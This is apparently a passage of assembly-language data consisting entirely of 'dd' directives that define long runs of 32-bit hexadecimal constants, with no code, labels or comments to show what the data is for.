dd 56436FACh, 0BE5D8B99h, 0FC3A3C61h, 0A211B853h, 83AF174Dh
dd 0A6F00C2Bh, 958443C6h, 5F101465h, 1DBFC734h, 940C1214h
dd 13400E23h, 0B3D92127h, 0CAAD2DF3h, 0E5F17B58h, 2C1142E1h
dd 702560E1h, 29740727h, 0EFDAB149h, 27A50E3Bh, 4D579D91h
dd 0D22DCA57h, 0D9925B81h, 1D84D037h, 0EC3BF771h, 8D5035E4h
dd 6823A0C9h, 6E564726h, 304FAAEBh, 0B19113E0h, 33AF2FC2h
dd 0D09D1D34h, 0EA1BAAFAh, 4101A20Ch, 35864B37h, 355407B6h
dd 1285D685h, 0E801073Fh, 7D6AA83Eh, 95314056h, 26FD9A09h
dd 0C1F2F29Ah, 97272BB8h, 3C6B70FAh, 7ED97423h, 386A7346h
dd 0B5B2E86Ah, 17EB3198h, 99851437h, 0B6A42372h, 0F5C8FD76h
dd 7307E696h, 73AAE062h, 5D11A812h, 71A15016h, 0B86AB251h
dd 36076A56h, 91D9E505h, 0C5DEA154h, 16BE946Bh, 0E2648A6Eh
dd 73F54DFDh, 20F69BF6h, 0E03A9430h, 0E00B9C9Ch, 1EE3FD40h
dd 93374FCCh, 0D5D03E0Dh, 0AAD0EA6Ch, 9B26BB7Dh, 0ED8E944Bh
dd 2180E0ADh, 14A0A9h, 407748Dh, 0D9E48464h, 320F2417h
dd 0A725EBA2h, 2B2D8C27h, 0AC6831B5h, 6D2BF00Ch, 61B5B52Ah
dd 5C9CDBBh, 0E697F06Eh, 19D7C2Bh, 6BA19FAh, 0DB0FB2EFh
dd 76069CBBh, 0D665E7Eh, 31294993h, 8FF29243h, 0FD224C25h
dd 8A8D025Eh, 317FC4F0h, 9E06B55Fh, 0C6CA3149h, 15E04567h
dd 8597F1E5h, 0D492B9E2h, 28816B55h, 0B8AA029Ah, 777E5305h
dd 254E873Ah, 78E5E12Dh, 51495CF3h, 0C5FECC97h, 0AA53C24Ah
dd 0DFA8BE5h, 22059751h, 0C3D20DBEh, 5807A256h, 7DF828C3h
dd 7EA0AF1Fh, 5AC0DD96h, 5AA879B2h, 0EB82066Fh, 0DD585832h
dd 0D94BC03h, 0A9D84407h, 0D5B02373h, 80F7666Fh, 0EF64BEFEh
dd 0D6985ACAh, 0B83F6D53h, 0BE870537h, 0BF24FADDh, 0AE3ABE32h
dd 0AF805F5Eh, 8D80DFB6h, 6FEBDA22h, 0B7AF6EE2h, 3C702140h
dd 0E170276Ah, 0E4ADD9A9h, 6658FA9Dh, 853E4A3Eh, 0C74363BEh
dd 9A043F09h, 7F23E2C3h, 94651DCBh, 2A17CFE1h, 86B09447h
dd 0A2B4E582h, 4FB2E97Ch, 83568406h, 42177745h, 0ACB32CB5h
dd 5DC248B8h, 570B6A04h, 79E1AF46h, 0CA6258CAh, 0E272C0BDh
dd 0B79EACB4h, 0DAA92331h, 9690EA77h, 6B37671Eh, 0C8AE65D7h
dd 0C633C9AEh, 0D460A412h, 7D06B854h, 0ADE35812h, 99FB11D1h
dd 3ED7FC57h, 747EBC22h, 88AC7DB3h, 44646BBCh, 3A7777A3h
dd 8E22CB56h, 9A55F6Fh, 0A68B7BC6h, 0CE98C9D5h, 0DC9C6B55h
dd 95BCE0B1h, 174979F9h, 46F0C885h, 48CA8F2Ah, 178B9A0Dh
dd 1B084C58h, 0C7ADEF08h, 1FC5E2EDh, 18C4C40Ch, 6D79AFC2h
dd 1A72CAEEh, 0D8DA87FFh, 0EF6A3BF4h, 0E8B9275Eh, 0AAA962E2h
dd 195BBF32h, 71CBB201h, 6CC76EC4h, 0AEC272A0h, 8EACCF91h
dd 0FDB4AB95h, 0E33A9C5Eh, 0D3144B0Fh, 0C450860Bh, 3299734Dh
dd 0CC571120h, 4706CE50h, 3552A3C2h, 0F7B5C0D3h, 0AF780244h
dd 2A14E5BAh, 61E04D62h, 2C4D6B49h, 0B77913E5h, 54F77E93h
dd 41AFAE6Fh, 62A55876h, 772F5D04h, 0A97419EBh, 0B4BD3457h
dd 78E4C4CDh, 6500C4CFh, 99827CE6h, 3B56F483h, 75AC56DCh
dd 51C4AB89h, 94D1C8E9h, 126F59F8h, 6565D0EBh, 40852BC5h
dd 0CF3FDDB8h, 27BCEF6Bh, 0C5E22B1Bh, 725DAB7Ah, 0C402081h
dd 755F3F51h, 2F5C7FC1h, 0D3BBEF51h, 29F37DF2h, 0B77E8E21h
dd 0A10D27CEh, 0CA6B5935h, 0D388EB15h, 886302F4h, 0E6B5D123h
dd 0CEED44A6h, 35FCF191h, 833FB456h, 55120047h, 0EDEAF03Dh
dd 0C0E4073Ch, 36C61B0Ch, 6E3E857h, 803344DBh, 31FED695h
dd 6B314CE2h, 9CFB5B8Bh, 1C16DC87h, 28341F2Ch, 0D742D5AEh
dd 34BAC74Eh, 0D8F4F2Bh, 0A9D38381h, 0C8AD6499h, 35E88ECAh
dd 0C55A1831h, 0D6565AC3h, 4F9C7538h, 310F1236h, 6A82451h
dd 0EA2D93Ch, 7AB73F1h, 0AB131F24h, 0BCC78930h, 7AF497C2h
dd 0A03A4BC8h, 0D93D4F0Ch, 0EB271A74h, 40CCAE10h, 0A936C230h
dd 59B5E4CFh, 0EE9C3EE4h, 0A8D1F854h, 435DD606h, 0AE369990h
dd 61E80B2h, 13C29D33h, 92531216h, 89A22D45h, 0E70F2581h
dd 0B91146A5h, 0A21157D0h, 45EA5357h, 8CA207A8h, 9A929A1Dh
dd 0BB5946B5h, 9E447E2Bh, 92B9F3F6h, 17A0DE78h, 1D680369h
dd 0BA486562h, 90170C8Dh, 0B04F4C55h, 5B551F59h, 8824F4B4h
dd 0DAD5D585h, 2BC8BD5Ch, 54058B6Ah, 585E9690h, 1410DE30h
dd 16566EFFh, 13B0D2E0h, 1CC7DE9h, 4440C5F5h, 5BA1B7C4h
dd 37D0557Dh, 9FFCB3CCh, 0CD53CBEFh, 2AE0BC41h, 98946226h
dd 6E81395Eh, 96F79E3h, 75DBC545h, 2DD997A4h, 63048BB3h
dd 0BFAF572Dh, 358AE703h, 8A3EE353h, 0A2A63001h, 980CB047h
dd 3ABB0793h, 9A0AF562h, 0D76A179Eh, 0BDD171EEh, 1E006552h
dd 0CA6558A1h, 1B7D69EBh, 41B23714h, 66624B60h, 661EB497h
dd 823C3823h, 3A32717Dh, 32F6FF7Ah, 4E217903h, 81C2177h
dd 0F537BCB9h, 3DD39B1Fh, 10AE9D9Fh, 6FBF3655h, 4BED608Fh
dd 15090E1Ch, 7295777Ah, 85C4DC28h, 28597892h, 0D2743476h
dd 8BA267A8h, 0F2A15131h, 0C16305ADh, 5A5CBFF4h, 5E3088E6h
dd 3434185Dh, 0FE03E6C3h, 6772353h, 36449502h, 3C99C9B0h
dd 0B1D4ED59h, 0D011E39Dh, 1015374Ah, 1EE90389h, 77C26B60h
dd 327812A5h, 0A1B787F4h, 3ED1EACh, 8C7DAE56h, 32C881D4h
dd 31051174h, 0A90F136Ah, 4DD6F372h, 0B66D21C2h, 53ABDF23h
dd 37DA3B3Eh, 0DA0F210Ch, 5FDD8F20h, 0B116AC1Ah, 0BE762852h
dd 26211B2Ah, 0C47AA9BCh, 0C9A1315Bh, 5210FE93h, 0C1825937h
dd 94F1D67Fh, 14145526h, 8FDAFB6Dh, 0BA34A65Dh, 9987F670h
dd 97C35227h, 1576A976h, 6A42AFA5h, 0B90D4F29h, 0B4BE07D0h
dd 0FE1ADEE1h, 5DC121FEh
dd 0AE6EF3B5h, 430770Bh, 14427496h, 0B5BF65D2h, 0DC5383AAh
dd 1F566A9Dh, 3304DCBEh, 0A1F43817h, 0AE943926h, 0AB6D69ECh
dd 2484D674h, 0AED5B652h, 0BEB6F98Eh, 0FB3D0165h, 0CD86E6F1h
dd 0AC7FFADFh, 0FA665876h, 937CB308h, 0B2A2FA6Ch, 354A2BB2h
dd 789E3221h, 0C9A87BFFh, 0D18BC1B9h, 680EEB68h, 5563FEB9h
dd 0BEE2973Ch, 73DBD278h, 22AB5B95h, 0FA5F9DECh, 0C60E4F3Dh
dd 0E1E9AC12h, 1790D74h, 27AEEB4Bh, 0B02A991Bh, 0CDE530C0h
dd 388DB070h, 0E5E0A160h, 0AB19DF4Ch, 375FA697h, 0EAD7C3F0h
dd 0B2AC2C58h, 48C1470Eh, 0F2D58B55h, 3AD4EFBCh, 35DF6F6Eh
dd 1DF91CF1h, 314E8F7h, 0F9856072h, 0C7607F46h, 7BFA9406h
dd 0AD9EF900h, 4860E837h, 6A67A2CAh, 0CAC2FC82h, 6944B102h
dd 0E3C897C9h, 0A95673A8h, 42D22B21h, 3484C033h, 0F184FF3Bh
dd 4B8D6DC9h, 1432F101h, 5BA4F25Bh, 0D5E7F938h, 9EE060D6h
dd 0A602207Fh, 0F7F8672Ah, 0DAF5E69h, 0AC1AA60h, 0F154EE07h
dd 0D41E22E2h, 7F032F73h, 0E3974BE1h, 9458983h, 0F344C368h
dd 74DA659Fh, 5CD92757h, 1FEAACDh, 573C075Dh, 0D444B6ADh
dd 0DFFB4C28h, 3ECEB1B0h, 0AB8B841Bh, 4736E574h, 5C511D0Bh
dd 432BAC27h, 7F9F79C6h, 2F917503h, 0CEC749E8h, 0C3D79A51h
dd 36BEB201h, 0B52D2157h, 0EA59F56h, 0B227C5EBh, 6CC25772h
dd 9DA83E08h, 2CC80891h, 0C05EF94Eh, 51352A3Ah, 1CB6D75Ch
dd 0C8D03F56h, 3F198FE9h, 0C7BA4254h, 8CEB87D7h, 6C68C314h
dd 90871D05h, 4BA6DD57h, 7E1F2975h, 59F10EFEh, 0AB4919B3h
dd 96E60122h, 0FC4B21B1h, 0B2F93427h, 7B07E40Ch, 800F0D16h
dd 3C1435CAh, 77BF8D48h, 21B1B6ECh, 95D9D9ECh, 0E55D8541h
dd 29ECBB71h, 45A07933h, 0A5B4E606h, 0C6687748h, 98EED993h
dd 58828C02h, 6367CCB5h, 0CBB2AF91h, 0C723979h, 0B0021043h
dd 46D3A808h, 48140187h, 652FC671h, 0C97642CBh, 9219565Eh
dd 0A4B901A6h, 0F89E9C99h, 0B20A43DEh, 88F0DDC1h, 2070E2BEh
dd 64034D8Bh, 0F4D590B6h, 0D4726F6Eh, 42869449h, 76844B61h
dd 76094B54h, 4E5385C5h, 0AE135265h, 767B45D9h, 220F5997h
dd 0D2FB8AAh, 0BDE6CD1Bh, 51A3AD4Bh, 0DE6F2A24h, 60613AA9h
dd 0BCE02EFAh, 568961C7h, 10CB6E9Ch, 77B8B7E3h, 0B14AEFD8h
dd 0EDD1FDF8h, 1D403B04h, 0E1FB4988h, 38824352h, 120D307Fh
dd 0C02045BFh, 1EC8FB66h, 3E4AD376h, 0AE3C1F2Fh, 80011EF4h
dd 0C0D367B6h, 92DEBC86h, 3D6FB607h, 1C9C268Eh, 0F4D58199h
dd 0F654C00Fh, 5AB86EC7h, 9195AC3Ch, 0F8230D22h, 0B5C2B550h
dd 24C0F327h, 0A32709E8h, 71E79939h, 0A8572DCCh, 5F1092A6h
dd 5B913429h, 61132723h, 9800A5DBh, 862A3DC6h, 17C52608h
dd 0A455F9A7h, 0ADDD6794h, 40BE0D4Eh, 0DC999175h, 8EC2AFEDh
dd 0C4873104h, 0A79CDCEEh, 0E147CCBh, 5CBCB44Dh, 2FA8E99Ch
dd 4FDC740Ah, 24589AEh, 0B6247171h, 0F60D0DCh, 0C81C2508h
dd 1AEB0B21h, 56D69763h, 0C095F639h, 0A3B8E4F4h, 15D25E71h
dd 940455AAh, 1D7E9154h, 0F7939CF2h, 3FA04066h, 0CF006001h
dd 8EB00566h, 579FF104h, 0ABA34A0Ah, 7887D9DBh, 0E1F580FCh
dd 4E815566h, 0F3D66885h, 6068D720h, 0E573F963h, 2FBAAF07h
dd 83AC32C2h, 9AA90676h, 6C059F77h, 5CDF1E9Eh, 6B7883FAh
dd 1436B1Dh, 0D843E5BAh, 99493826h, 2EB1773Ah, 74EDEE81h
dd 0DA7F67C3h, 0BBA13AD0h, 0C9D2AA29h, 0FE711C07h, 6CA4EDD4h
dd 201E694Dh, 2B05EADFh, 17882853h, 0D7F06E3Dh, 79726941h
dd 7EB3BA8Bh, 187F625Ch, 0D49D043Fh, 32EAE424h, 0F6D45069h
dd 620EADEEh, 45DFDD23h, 669B601Eh, 0C633D610h, 4D85A54Bh
dd 6FBAE768h, 0ECE08980h, 20AF916Ah, 1C9D9351h, 97B2C98Fh
dd 83D7D0AAh, 2EFF90Bh, 57A12414h, 8A04A982h, 0D3E1D454h
dd 0F920260Eh, 0FD9DEF1Bh, 0DCDA0B4h, 59DACD57h, 45540F5Eh
dd 0C1C11553h, 862862C4h, 0A644364Ch, 0C27B30B3h, 0AF097BDBh
dd 0F8B4D706h, 1EADC605h, 6FA91C6Fh, 68C364Ah, 3A553CEFh
dd 34F0B0E1h, 0E4719658h, 40CD1598h, 0AFFF3F4h, 78D8B60Ah
dd 2C7E2263h, 5C9BE818h, 18833995h, 0CAC9268Ah, 0B0EA2C1h
dd 2CF7673Eh, 5C5966DBh, 0A8825B14h, 3EE7079Dh, 49D953D8h
dd 0BBC11D5Ch, 5D9B3BAh, 0F9AF748h, 64BCE937h, 9A4923Ah
dd 0E7E49C8Dh, 0DD701DCBh, 0D7EC690Fh, 0A24BA535h, 75144FD6h
dd 2E740DB2h, 0BA00087Eh, 47B75333h, 5E2DCCCEh, 590AA968h
dd 0A50FA25Dh, 6AE431CEh, 985E2C0h, 0D2CC9034h, 0A80A8B66h
dd 0CEC36688h, 37B331D1h, 4D87C863h, 6CF0BC04h, 0B172CB9Bh
dd 98D1E739h, 4967E74Bh, 7ECD0420h, 0D6468114h, 64AF756Eh
dd 0A3734009h, 145D7E74h, 0A3990604h, 9A62C48Eh, 0E513DEEFh
dd 0E9A52DD4h, 0EC8782B9h, 0EE486971h, 0ADFB2942h, 444A359h
dd 77C5CC92h, 7D7F42D5h, 2168F85Ah, 5D64B3C3h, 9BAD8378h
dd 822A6128h, 0D5F6F361h, 2C7C6047h, 0E74CD822h, 78082FB8h
dd 0F34A40BEh, 545F1A6Ch, 9F6463B2h, 0D8BC6ED9h, 45388Bh
dd 0AADD6806h, 134BF268h, 0A6FC4AC7h, 7EA3A634h, 573902A0h
dd 8C0EBE42h, 41A4221Bh, 406AE38Ch, 4AC34ECBh, 87AA2C17h
dd 43FF260Eh, 8C320638h, 0B95ADB8Ah, 931BCB51h, 0A7A03131h
dd 459840F7h, 4E5388D3h, 81210697h, 16F55DEEh, 902EF9C9h
dd 6DE84D8Bh, 360DA90Ah, 2ABBC85Ch, 487DB698h, 18708F43h
dd 0BDF4400Fh, 31569864h, 5C47C714h, 86BC1739h, 0FE262A25h
dd 0C784069Dh, 0B8014954h, 4AFE6D85h, 748E7038h, 5B961B04h
dd 0A015596Bh, 0E14193FDh, 526DE8C4h, 2714776Eh, 1025B43Dh
dd 8F32234Ah, 0A30592E3h, 3B0C6C6Eh, 270F3E19h, 0C16C812Ah
dd 7CBF6733h, 13505FF0h, 7915D0A8h, 0F45C2D71h, 0FC45A568h
dd 5C1B9111h, 0A7ADAD95h, 5769F402h, 63DEAC65h, 33F1C829h
dd 0BCFCC88Ch, 0BAEC861Bh, 0E49D49A8h, 0EFEB7E84h, 93A9DF45h
dd 5A36C519h, 97C09216h, 4E0C7321h, 0CD6A8B7Bh, 2777E48h
dd 0FCDCF94Bh, 0DA5AACDEh, 342A1B58h, 0D86BB4Dh, 2EAAC512h
dd 0B60DBA1Bh, 83B20735h, 0CCC7EE16h, 0DCB56EC1h, 84EB9A75h
dd 46F21410h, 29830399h, 25DA397Bh, 1CFF3595h, 0EE708BACh
dd 9325A8E9h, 38B4BA3h, 0D5F33EFAh, 44CB1B73h, 510DD672h
dd 688E5B14h, 0A4E8D24h, 9358AC8Fh, 69D72DBAh, 0CF2572C2h
dd 991CB07Fh, 67257F25h, 6FB08761h, 0FE035053h, 3F3107B0h
dd 172902A0h, 341656B9h, 5489D5E3h, 3E4606E6h, 302C3C08h
dd 99D81EE3h, 476BF2E8h, 8D56124Dh, 8FAB54A9h, 0A122031Fh
dd 0F298B733h, 0FE57610Eh, 0BFE9668Ah, 53512456h, 0BDA8DA9Eh
dd 0E12D6126h, 703EE1C7h, 71C6299Ch, 4CBB7ADEh, 1327F73Fh
dd 0A5D931ACh, 0A2893192h, 0BEEFDBFFh, 0E4BAE72Fh, 36BD588Bh
dd 0FC648A07h, 19665718h, 0B9CFFC43h, 0E3745664h, 6DA05900h
dd 404C28F5h, 0D164B61Ch, 0BF06EFB4h, 0AFAF4ACh, 0E459FBB4h
dd 6E099768h, 0FB6BFBB2h, 0E2840FD1h, 0D1FA7C6Ch, 0ACB4B8F1h
dd 5328E94Dh, 6700F5CCh, 0E670F09Dh, 0D8F69C17h, 0F9FC2F9Bh
dd 5D01DE86h, 0AF5F37EEh, 92662215h, 0BCBA6A4Dh, 0F4233FD8h
dd 0BEEF343h, 57EB987h, 64E65FD4h, 6BDD87BEh, 1210795Dh
dd 0C80EB36Fh, 923BC6CAh, 0BCBD3655h, 6F0D70C5h, 0B2DF3D8Ch
dd 8053260Ah, 6049D27Ah, 0C3FE9D5Eh, 32696EB4h, 45BA2D6Ch
dd 0D93F6DFAh, 7C535B33h
dd 719ECD5Fh, 0AD190A33h, 0F9D98372h, 911EE339h, 0AD74999Ah
dd 88999C84h, 803CC04Fh, 9A050A29h, 71205065h, 5CBA470Ah
dd 627FEA09h, 7E3CBC6Dh, 5ADDFC6Eh, 0F88F1D97h, 4764D1C2h
dd 0C7417B74h, 81E23910h, 0F5D66A6Ah, 0C33A8240h, 902FE84Ch
dd 0C91E4C51h, 85A4C911h, 80C9E4DFh, 0F3213125h, 1F2DFC8Dh
dd 19996261h, 8644F7F7h, 76D5ACAh, 14C286D2h, 1DFB9D07h
dd 0E8BF170Eh, 60AABE04h, 9696E38Ah, 0F5AE1DEh, 0D2AE5E5Fh
dd 11D4EEFEh, 0B14DAC5Bh, 5E8EA23Fh, 0D3398158h, 0DE17A130h
dd 0AC0E52A2h, 0E8DAE03Fh, 1710FFE5h, 693C7988h, 7A77A2CCh
dd 4568D66Ah, 0C7558ED8h, 0A61B883Eh, 0B919D4E0h, 0D95652DCh
dd 7FD61CF8h, 1A6B756h, 596040A2h, 62E0435Eh, 4E388B03h
dd 0BCE88587h, 0C2FEAA0h, 8549A0FDh, 0D477EDA5h, 9FA6E3E7h
dd 0C919F72Bh, 0E413E23Fh, 0E2B6D1F2h, 0A7E38506h, 1A40EF0h
dd 92CC1B54h, 63C62C87h, 6A6CBB1Ch, 90928953h, 0E38653C7h
dd 0E17F894Ch, 28CFD93h, 0FCEE9E33h, 0D11351C0h, 32765E3Eh
dd 4E78DCF7h, 902C65ECh, 9A836867h, 47AA1C7Eh, 0C7D77A3Ah
dd 0CB8533Bh, 56A0338Ch, 3927D234h, 8DF75F2Ch, 79D0F04Eh
dd 5BBB9F10h, 4FE93CB0h, 232CDC1Dh, 0B9557849h, 521AF997h
dd 0D973E102h, 925AF704h, 6B47756Fh, 410BB73Fh, 5D26B776h
dd 0E94E70F6h, 91558019h, 5E5C251Ch, 20E35756h, 4EFCDA47h
dd 30B0DBECh, 2D9453F3h, 0FA30932Ch, 29F29FD2h, 0B446883Eh
dd 83B9AA7Ch, 76DE05F6h, 0A207C07Ch, 40DF9B32h, 79C80A95h
dd 0B781851Fh, 0AAB9D8E9h, 20E9A376h, 0A75A6655h, 83D35F28h
dd 14734F5Ah, 11885A03h, 0DC96E74Fh, 0AD746CD4h, 85C0C9B5h
dd 41E1B0D3h, 12A27D9Ah, 5BFC1860h, 0DB069F7Fh, 7B5C3D6Bh
dd 40A85532h, 0B6705F55h, 315FF579h, 835B7008h, 0DCE53AE1h
dd 0B78235D6h, 0C95F09E3h, 6F430657h, 0E9F126A7h, 0C3C3FDECh
dd 0B7A6188Fh, 0A217CA59h, 3BE9112Ah, 0B2A8E5BDh, 0BB082427h
dd 3BB6E3E7h, 0B32FBEDFh, 6E5D7B96h, 0D9EF9CA7h, 18D27921h
dd 48057242h, 836AB7C4h, 0E98FD24h, 0F6152F55h, 78A4D328h
dd 627545BFh, 4B4F8B04h, 8E3ADF4Bh, 0EEBA0D28h, 27520BA0h
dd 5596A693h, 149CECFBh, 9FB32B91h, 553CE4D2h, 0BEF0E80Ch
dd 0D8A8997Bh, 2487B637h, 30218DE9h, 0C754CE2Ah, 0B0FA1110h
dd 86779491h, 77654FA7h, 0F114757Dh, 7ABA7CF1h, 313CC841h
dd 7441D01Bh, 5EDCD1C3h, 0EFC610BBh, 19666918h, 5AF77C56h
dd 4F43D0C6h, 3DAC830h, 0CA9953F4h, 0C842B003h, 0DA0ABDEEh
dd 63298899h, 5DFB1DA4h, 787E861Ch, 9EEEF676h, 52C66547h
dd 0A771330Bh, 341371ECh, 0EBE88DB5h, 287568FFh, 0CEB6C055h
dd 647C2A89h, 20858EC0h, 0D3A32EC6h, 0C784F7A8h, 4B9A7D9Ah
dd 0CB85A955h, 0AB82E62h, 0EA4E68B0h, 5E8CA24h, 313727B3h
dd 0A8DF2CC4h, 829A80B1h, 9A785078h, 0C41D249Dh, 9F75EA72h
dd 4A74C32Bh, 0EF4DB775h, 75F1EA09h, 62424882h, 9BCAF693h
dd 0F37353ABh, 18D73C23h, 0E5609A17h, 44A90C32h, 4992C2F3h
dd 1266522Ah, 2F8DBBD9h, 6955CFA6h, 0ED9FF4ADh, 7B1A149h
dd 81239A8Bh, 9757FE95h, 5434330Ch, 181494B2h, 287D7BEBh
dd 21E899B2h, 464A9D52h, 25FA2BD8h, 0D246109Bh, 4EB9BC63h
dd 59F2DC19h, 0D5D4CF8Bh, 855E4AEFh, 6EEC2508h, 0C87B78F6h
dd 0BA58281Fh, 67EA1705h, 368C59E4h, 0C0278EE7h, 0C517CBA3h
dd 0B6AA3A92h, 0B56CC65Ch, 3C71911Bh, 0B95A2CFEh, 0FEEB41h
dd 1165102Dh, 9FC0BDEEh, 93D8ED7Fh, 0B427498Fh, 0DF570788h
dd 0C4BD622Ch, 97E82CB2h, 0E54759B2h, 3884FA7Ah, 0D45DFE79h
dd 0A3FE66C6h, 0CE4A273Ch, 0F5D5D58Dh, 2CCA0484h, 481BD8B8h
dd 3BE7F3B2h, 22F90F13h, 0E7FC7041h, 366C1BCFh, 1D303C54h
dd 8B5201Fh, 0D39FBFB4h, 0CF604A85h, 2887677Dh, 77A8B933h
dd 24669AC5h, 0EEEB5418h, 0DF238B06h, 492E83CDh, 30E49EA2h
dd 0E2E694BEh, 1040858Dh, 0A2F373D6h, 481FC061h, 4D53E6BDh
dd 6E3C8051h, 4ADD8BE8h, 0DD7C9A72h, 0C38634D8h, 5DF4C941h
dd 3AF572D5h, 300959EDh, 2BA6CBDFh, 98CFE014h, 0DC06BBF1h
dd 8DED6F64h, 19AB601Eh, 0B18B91E4h, 0FD9BEDA4h, 77B78089h
dd 1986820Ah, 1CC2D984h, 0E020F675h, 99B40A40h, 77B49573h
dd 0FC951669h, 77DF802h, 28A507F4h, 1C3BE61Ch, 2C2DDD32h
dd 0B4D84B7h, 0C021B29Bh, 37757C6Bh, 0F2398C7Ah, 7AEC5468h
dd 80B41319h, 0CFB2AFA6h, 0D7E931C3h, 80CB5780h, 6E84272Ch
dd 1B35D752h, 427E3FFAh, 2088C320h, 0AE35D1EAh, 78CE3B6Eh
dd 0F7F450F5h, 0AF3D08C8h, 20C0CDE5h, 2562E5DCh, 70FC7FE3h
dd 0A8CDC03Ah, 1AAC4DDEh, 64CAF395h, 0E6969F91h, 7C2D758Ch
dd 1C21013Dh, 53E42396h, 417FB796h, 7672363h, 0BC683A3Eh
dd 0E03F2B48h, 0B991BB84h, 1B97D62h, 52454AE0h, 4FD354CAh
dd 7F7495BBh, 30EFCE5Fh, 39AED5C5h, 3FEFD077h, 0DBA31F0Dh
dd 0D1F332BBh, 19A808CAh, 0D06ED314h, 8C531F5Fh, 10A119FEh
dd 9C5D3CCFh, 5E599F18h, 888476FCh, 25DA570Dh, 43FB4964h
dd 7AE2DD98h, 5828DD42h, 20CF9699h, 0B751FF41h, 0DB118ECAh
dd 2C9BAEA9h, 0EAA97686h, 0F7F1D99Eh, 9EFFA1F2h, 65A97523h
dd 0DC670EF5h, 0D323D52Bh, 205F4F78h, 9B5E0608h, 7DB7B61Bh
dd 51760882h, 9C9AE70Dh, 0E241E7FCh, 0C376B85Fh, 1A70E953h
dd 0AB305321h, 1092FE62h, 3FF6E69Ah, 43A1FDh, 0BA11D30Eh
dd 5423EF78h, 8D5A53B7h, 0CF43EA60h, 0F125931Ch, 0E5CF19C0h
dd 18C84AECh, 0CAEE3B37h, 48B48EE7h, 273A2037h, 7E7CC6DFh
dd 0D4D2DBBCh, 0E5D9C513h, 74A14F92h, 0BC5D6446h, 1488ABE5h
dd 2EEA0B63h, 45378F89h, 704ED4E8h, 9ADE81B7h, 0A0D7AF31h
dd 5FAC3291h, 0E00E400Eh, 0A70B9463h, 0E8BF9122h, 0B57C37FDh
dd 3653848Eh, 7D1845C0h, 6022EF3Ch, 0D2196A0Ch, 0D8C6D6CEh
dd 28444116h, 0B0D5FE6Eh, 6FEDA81Ch, 9606F7C4h, 1F3F4991h
dd 0F25BA295h, 2A92E280h, 16914145h, 0B020B550h, 4DC3AAEAh
dd 3AC4D7C4h, 4DF752C4h, 0DF388B38h, 913B09Bh, 95458542h
dd 0D82C5752h, 0FCA66B60h, 0E6A2B71Ah, 6617B271h, 0ED04990Eh
dd 0E50993AAh, 6A2A60B0h, 91F49E54h, 0CFB4A5B8h, 0F3375C98h
dd 0F9EF9327h, 0BDA107BAh, 836AC3D3h, 1E8CE6F0h, 53D69DA2h
dd 0A526C916h, 145EB072h, 60B97625h, 1F17A241h, 0E3883AF5h
dd 3B1E1584h, 429BE69h, 6CBBC807h, 5F17880Eh, 0C466704h
dd 0FDDF6F0Bh, 73EE9C57h, 0DACCB434h, 0DF72F75h, 6F947A92h
dd 291F0784h, 0A9AB57F5h, 7FE857C2h, 9A78CE1Ah, 80340000h
dd 8F060D5Bh, 0DBB77C34h, 92AA05B4h, 10C6BEA3h, 0BC2DCA5Bh
dd 6F353A85h, 0F00646E3h, 622B216Ch, 194C59CAh, 8F681C31h
dd 0DCB8881Dh, 5604C3CDh, 0AD31A4C0h, 21AAF179h, 343DAE0Bh
dd 98CA8F9Eh, 9FDAAF4Bh, 28F8320h, 0A9BC8074h, 3557B5B8h
dd 77AE912Ch, 8E6FF5CCh, 0FD7EF0B1h, 0C87E1D74h, 7B7427BDh
dd 0A84B56C4h, 1BCC0D69h, 0D912EB8Dh, 636964C1h, 0FA32345Ch
dd 0F63119Ch, 0E8145973h, 0F9694722h, 0E966FADFh, 89782733h
dd 0B762228Dh, 0B59F5D0Ah, 4C824197h, 0EBC535BCh, 0C5E1CA1Ch
dd 1550E6A0h, 3CFD9FC3h, 433E1E83h, 0A0FEA2B8h, 695797E7h
dd 21A04C67h, 0A1309580h, 646C45Fh, 0E4114847h, 165C6AF5h
dd 0EAD2512h, 0A35CC908h
dd 0BA990F50h, 9E26425Eh, 6840F2B2h, 19BD4D2Dh, 3A2BE6DCh
dd 181C3611h, 0E1AA6411h, 20DCCFE0h, 844E45E0h, 0F15F4570h
dd 842ACF54h, 637A71CEh, 8B69B1A4h, 0E0A82DBh, 0BA429C8Ch
dd 0C522A869h, 13FE508Eh, 231ADB6h, 0A4A6FC0Dh, 174CFDB8h
dd 0BBCE1C26h, 0A95FD04Dh, 26FB31FDh, 0CE3A14A8h, 26BFF827h
dd 0ED774B4Bh, 0F3D6374Eh, 4EBCF44Ch, 145A4C75h, 67163560h
dd 96197BB9h, 0C1AC3867h, 0F3335D32h, 69887E8Ah, 690C8E29h
dd 24277A6Dh, 0B0B46C03h, 0B114B19Ah, 4DBF2E08h, 0F0DCD101h
dd 743481C7h, 0C7FE70F8h, 91D25138h, 0C2A122C7h, 0D1BD777Ch
dd 0BFEB2AEFh, 44877B26h, 69F1D1A0h, 218D58A2h, 0A310FDB3h
dd 6B905665h, 61263E04h, 0ECD29A90h, 63FE1D9h, 0CBDA00DAh
dd 0BE98F287h, 0ACC73A3Eh, 0A7E46D5Bh, 0F1F2F951h, 18AEB204h
dd 8E00C80Ah, 4D565222h, 0C13D3006h, 3761993Fh, 0CC35C854h
dd 271F632Ch, 0FB056FDDh, 6CCD6BDEh, 0FB420ABAh, 0B0BD5F9Eh
dd 37B9754h, 618A591Ah, 0C169E283h, 66AF32CFh, 4CDE629Fh
dd 26F97559h, 782B67h, 0E75401AAh, 0FF8BCC01h, 81B5337Eh
dd 35F1F103h, 1FD5ADEBh, 867D4465h, 0A0657BE1h, 7F89CE9h
dd 40339057h, 1B01D1E7h, 4747A2Bh, 7441FE7Ah, 6F59294Dh
dd 1B0BB152h, 0E4588EAAh, 0D0A0ADE7h, 0A081586Ah, 0E326661Eh
dd 39EB19Ch, 0D38D9367h, 3B402E15h, 9EAE4C97h, 0A82272AFh
dd 0BC0B8A0Ch, 97796BA8h, 795DD04Ah, 694CC3B8h, 0A2FF0B8h
dd 8370F37Ah, 0F15DA191h, 89E67D7Bh, 3C9B2EC9h, 82F4A406h
dd 2D6C0C2h, 17432FAh, 0AC309B50h, 1CFFE8B0h, 2D5C82C4h
dd 968E9993h, 0AF86D009h, 0D3CD60A7h, 0ED2A3AF9h, 0D02607D5h
dd 2737BF1Ch, 0B71EDD40h, 0CE3D46F7h, 0A15DE7D9h, 0C02BC38Bh
dd 0BEE0756h, 2CFD8BCh, 2FAC17F7h, 0BDBE44FDh, 14A192A9h
dd 87063108h, 0D8C5AF24h, 99A1CADEh, 111CDDB0h, 93BB95EEh
dd 3518F556h, 6A5DB563h, 77B88036h, 0A6B0A398h, 692ED1B7h
